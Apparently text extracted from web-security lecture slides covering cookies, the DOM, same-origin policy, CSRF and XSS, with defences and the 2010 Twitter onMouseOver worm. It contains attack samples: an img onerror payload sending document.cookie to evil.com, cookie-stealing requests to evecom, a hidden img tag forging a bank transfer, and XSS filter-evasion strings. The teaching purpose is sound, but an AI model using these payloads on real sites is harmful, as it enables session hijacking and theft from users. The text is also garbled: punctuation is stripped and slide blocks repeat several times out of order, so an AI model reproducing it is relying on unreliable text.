Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Cookies (1)

I A cookie is a small piece of information that a server sends toa browser and stored inside the browser A cookie has a nameand a value and other attribute such as domain and pathexpiration date version number and comments

I The browser automatically includes the cookie in all itssubsequent requests to the originating host of the cookie

I Cookies are only sent back by the browser to their originatinghost and not any other hosts Domain and path specify whichserver (and path) to return the cookie

I A server can set the cookiersquos value to uniquely identify aclient Hence cookies are commonly used for session and usermanagement

I Cookies can be used to hold personalized information or tohelp in on-line salesservice (eg shopping cart) or trackingpopular links

5 29

Cookies (2)

GETminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusrarrSET COOKIEname=valuelarrminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminus

A cookie has several attributesSet-Cookie value[ expires=date][ domain=domain]

[ path=path][ secure][ HttpOnly]

expires (whentobedeleted)domain (whentosend)path (whentosend)

scope

secure (onlyoverSSL)HttpOnly (onlyoverHTTP)

6 29

Web basics Web browsers

7 29

Web browsers

[Ref] How browsers work behind the scenes of modern web browsershttpwwwhtml5rockscomentutorialsinternalshowbrowserswork

Main function of a browser present chosen web resource byrequesting it from the server and displaying it in the browserwindow

Web resources HTML documents PDF files images or someother type of content

Location of a web resource specified by the user using a URI(Uniform Resource Identifier)

8 29

Browser components

9 29

Rendering engine basic flow

DOM (Document Object Model) object presentation of theHTML document and the interface of HTML elements such ascookies to the outside world like JavaScript

10 29

The DOM

[Ref] Introduction to the DOM httpsdevelopermozillaorgen-USdocsDOMDOM ReferenceIntroduction

I The Document Object Model (DOM) is a programminginterface for HTML XML and SVG documents

I The DOM provides a structured representation of thedocument (a tree) and it defines a way that the structure canbe accessed from programs so that they can change thedocument structure style and content

I The DOM provides a representation of the document as astructured group of nodes and objects that have propertiesand methods

I Nodes can also have event handlers attached to them andonce that event is triggered the event handlers get executed

I Essentially it connects web pages to scripts or programminglanguages

11 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Cookies (2)

GETminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusrarrSET COOKIEname=valuelarrminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminusminus

A cookie has several attributesSet-Cookie value[ expires=date][ domain=domain]

[ path=path][ secure][ HttpOnly]

expires (whentobedeleted)domain (whentosend)path (whentosend)

scope

secure (onlyoverSSL)HttpOnly (onlyoverHTTP)

6 29

Web basics Web browsers

7 29

Web browsers

[Ref] How browsers work behind the scenes of modern web browsershttpwwwhtml5rockscomentutorialsinternalshowbrowserswork

Main function of a browser present chosen web resource byrequesting it from the server and displaying it in the browserwindow

Web resources HTML documents PDF files images or someother type of content

Location of a web resource specified by the user using a URI(Uniform Resource Identifier)

8 29

Browser components

9 29

Rendering engine basic flow

DOM (Document Object Model) object presentation of theHTML document and the interface of HTML elements such ascookies to the outside world like JavaScript

10 29

The DOM

[Ref] Introduction to the DOM httpsdevelopermozillaorgen-USdocsDOMDOM ReferenceIntroduction

I The Document Object Model (DOM) is a programminginterface for HTML XML and SVG documents

I The DOM provides a structured representation of thedocument (a tree) and it defines a way that the structure canbe accessed from programs so that they can change thedocument structure style and content

I The DOM provides a representation of the document as astructured group of nodes and objects that have propertiesand methods

I Nodes can also have event handlers attached to them andonce that event is triggered the event handlers get executed

I Essentially it connects web pages to scripts or programminglanguages

11 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

I reflected attacks are those where the injected script isreflected off the web server such as in an error messagesearch result or any other response that includes some or allof the input sent to the server as part of the request

I reflected attacks are delivered to victims via another routesuch as in an e-mail message or on some other web site

client browser

evecom

bankcom

bankcom cookie

3 click on link (crafted by attacker)4 ECHO USER INPUT (chosen by attacker)6 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

5 execute malicious script with bankcom privileges

1 visit evecom6 receive malicious page GET httpevecomstealc=documentcookie

26 29

Reflected XSS attacks

The key to the reflected XSS attack

Find a good web server that will echo the user input back in theHTML response

ExampleInput from evecomhttpvulnerabletoreflextedXSScomsearchphpterm=hello

Result from vulnerabletoreflextedXSScomlthtmlgt

lttitlegt

Search results

lttitlegt

ltbodygt

Results for hello

ltbodygt

lthtmlgt

27 29

XSS defenses

Escapefilter output escape dynamic data before inserting it intoHTMLlt rarr amplt gt rarr ampgt amp rarr ampamp rarr ampquot

remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

Web basics Web browsers

7 29

Web browsers

[Ref] How browsers work behind the scenes of modern web browsershttpwwwhtml5rockscomentutorialsinternalshowbrowserswork

Main function of a browser present chosen web resource byrequesting it from the server and displaying it in the browserwindow

Web resources HTML documents PDF files images or someother type of content

Location of a web resource specified by the user using a URI(Uniform Resource Identifier)

8 29

Browser components

9 29

Rendering engine basic flow

DOM (Document Object Model) object presentation of theHTML document and the interface of HTML elements such ascookies to the outside world like JavaScript

10 29

The DOM

[Ref] Introduction to the DOM httpsdevelopermozillaorgen-USdocsDOMDOM ReferenceIntroduction

I The Document Object Model (DOM) is a programminginterface for HTML XML and SVG documents

I The DOM provides a structured representation of thedocument (a tree) and it defines a way that the structure canbe accessed from programs so that they can change thedocument structure style and content

I The DOM provides a representation of the document as astructured group of nodes and objects that have propertiesand methods

I Nodes can also have event handlers attached to them andonce that event is triggered the event handlers get executed

I Essentially it connects web pages to scripts or programminglanguages

11 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt

12 29

Accessing the DOM

When creating a script (in-line in a ltscriptgt element or by meansof a script loading instruction) the API for the document orwindow elements can be used to manipulate the document itself orto get at the children of that document which are the variouselements in the web page

Example 1 displays an alert message by using the alert() functionfrom the window objectltbody onload=windowalert(rsquowelcome to my pagersquo)gt

Example 2 displays all the cookies associated with the currentdocument in an alert messageltbody onload=windowalert(documentcookie)gt

Example 3 sends all the cookies associated with the currentdocument to the evilcom server if x points to a non-existantimageltimg src=x onerror=thissrc=rsquohttpevilcom

c=rsquo+documentcookiegt12 29

Same-origin policy (SOP)

The problem Assume you are logged into Facebook and visit amalicious website in another browser tab Without the same originpolicy JavaScript on that website could do anything to yourFacebook account that you are allowed to do through accessingthe DOM associated with the Facebook page

Part of the solution The same-origin policy

I The SOP restricts how a document or script loaded from oneorigin (eg wwwevilcom) can interact with a resource fromanother origin (eg wwwbankcom) Each origin is keptisolated (sandboxed) from the rest of the web

I The SOP is very important when it comes to protectingHTTP cookies (used to maintain authenticated user sessions)

13 29

JavaScript

I Powerful web page programming language

I Scripts are embedded in web pages returned by the web server

I Scripts are executed by the browser They can

I alter page contents (DOM objects)I track events (mouse clicks motion keystrokes)I issue web requests and read repliesI maintain persistent connections (AJAX)I Read and set cookies

the HTML ltscriptgt elements can execute content retrieved fromforeign origins

14 29

Web security session hijacking

15 29

Session hijacking

Wikipedia

Session hijacking sometimes also known as cookie hijacking is theexploitation of a valid computer session to gain unauthorizedaccess to information or services in a computer system

Sessions could be compromised (hijacked) in different ways themost common are

I Cookie theft vulnerabilitiesI Predictable session tokens

=rArr cookies should be unpredictableI HTTPSHTTP site has mixed HTTPSHTTP pages and

token is sent over HTTP=rArr set the secure attribute for session tokens=rArr when elevating user from anonymous to logged-in alwaysissue a new session token

I Cross-site scripting (XSS) vulnerabilities

I Cross-site request forgery (CSRF) vulnerabilities16 29

Cross-site request forgery (CSRF)

17 29

CSRF

OWASP

CSRF forces a user to execute unwanted actions on a webapplication in which theyrsquore currently authenticated CSRF attackstarget state-changing requests not theft of data since the attackerhas no way to see the response to the forged request

Target user who has an account on vulnerable serverMain steps of attack

1 build an exploit URL2 trick the victim into making a request to the vulnerable server

as if intentional

Attacker tools

1 ability to get the user to rdquoclick exploit linkrdquo2 ability to have the victim visit attackerrsquos server while logged-in

to vulnerable server

Keys ingredient requests to vulnerable server have predictablestructure 18 29

CSRF a simple example

Alice wishes to transfer $100 to Bob using the bankcom webapplication This money transfer operation reduces to a requestlikeGET httpbankcomtransferdoacct=BOBampamount=100

HTTP11

The bankcom server is vulnerable to CSRF the attacker cangenerate a valid malicious request for Alice to executeThe attack comprises the following steps

1 Eve crafts the following URLhttpbankcomtransferdoacct=Eveampamount=100000

2 When Alice visits Eversquos website she tricks Alicersquos browser intoaccessing this URL

19 29

CSRF a simple example

client browser

evecom

bankcom

bankcom cookie

ltimg src=httpbankcomtransferdoacct=Eveampamount=100000 width=0 height=0 border=0gt

httpbankcomtransferdoacct=Eveampamount=100000

bankcom cookie

20 29

CSRF defenses

I Check the referrer header in the clientrsquos HTTP request canprevent CSRF attacks Ensuring that the HTTP request hascome from the original site means that attacks from othersites will not function

I Include a secret in every linkformI Can use a hidden form field custom HTTP header or encode

it directly in the URLI Must be unpredictableI Can be same value as session token (cookie)I Ruby on Rails embeds secrets in every link automatically

21 29

Twitter SMS account hijacking (Nov 2013)

22 29

Cross-site scripting (XSS)

23 29

XSS attack

OWASP

Cross-Site Scripting (XSS) attacks are a type of injection in whichmalicious scripts are injected into otherwise benign and trustedweb sites

The goal of an attacker is to slip code into the browser under theguise of conforming to the same-origin policy

I site evilcom provides a malicious script

I attacker tricks the vulnerable server (bankcom) to sendattackerrsquos script to the userrsquos browser

I victimrsquos browser believes that the scriptrsquos origin is bankcombecause it does

I malicious script runs with bankcomrsquos access privileges

XSS attacks can generally be categorized into two categoriesstored and reflected

24 29

Stored XSS attacks

I stored attacks are those where the injected script ispermanently stored on the target servers such as in adatabase in a message forum visitor log comment field etc

I the victim then retrieves the malicious script from the serverwhen it requests the stored information

client browser

evecom

bankcom

bankcom cookie

1 inject malicious script

2 request content3 receive malicious script5 perform attacker action GET httpbankcomtransferdoacct=Eveampamount=100000

4 execute malicious script with bankcom privileges

5 perform attacker action GET httpevecomstealc=documentcookie

25 29

Reflected XSS attacks

